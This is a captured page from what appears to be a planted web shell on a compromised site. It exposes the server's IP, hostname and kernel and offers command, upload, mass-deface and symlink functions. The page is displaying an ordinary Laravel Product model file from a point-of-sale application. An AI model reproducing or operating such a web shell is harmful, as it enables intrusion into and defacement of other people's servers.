V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
www
/
pos
/
app
/
Models
/
Viewing: Product.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Product extends Model { protected $dates = ['deleted_at']; protected $fillable = [ 'code', 'Type_barcode', 'name', 'cost', 'price', 'unit_id', 'unit_sale_id', 'unit_purchase_id', 'stock_alert', 'category_id', 'sub_category_id', 'is_variant','is_imei', 'tax_method', 'image', 'brand_id', 'is_active', 'note', ]; protected $casts = [ 'category_id' => 'integer', 'sub_category_id' => 'integer', 'unit_id' => 'integer', 'unit_sale_id' => 'integer', 'unit_purchase_id' => 'integer', 'is_variant' => 'integer', 'is_imei' => 'integer', 'brand_id' => 'integer', 'is_active' => 'integer', 'cost' => 'double', 'price' => 'double', 'stock_alert' => 'double', 'TaxNet' => 'double', ]; public function ProductVariant() { return $this->belongsTo('App\Models\ProductVariant'); } public function PurchaseDetail() { return $this->belongsTo('App\Models\PurchaseDetail'); } public function SaleDetail() { return $this->belongsTo('App\Models\SaleDetail'); } public function QuotationDetail() { return $this->belongsTo('App\Models\QuotationDetail'); } public function category() { return $this->belongsTo('App\Models\Category'); } public function unit() { return $this->belongsTo('App\Models\Unit', 'unit_id'); } public function unitPurchase() { return $this->belongsTo('App\Models\Unit', 'unit_purchase_id'); } public function unitSale() { return $this->belongsTo('App\Models\Unit', 'unit_sale_id'); } public function brand() { return $this->belongsTo('App\Models\Brand'); } }
Coded With 💗 by
HanzOFC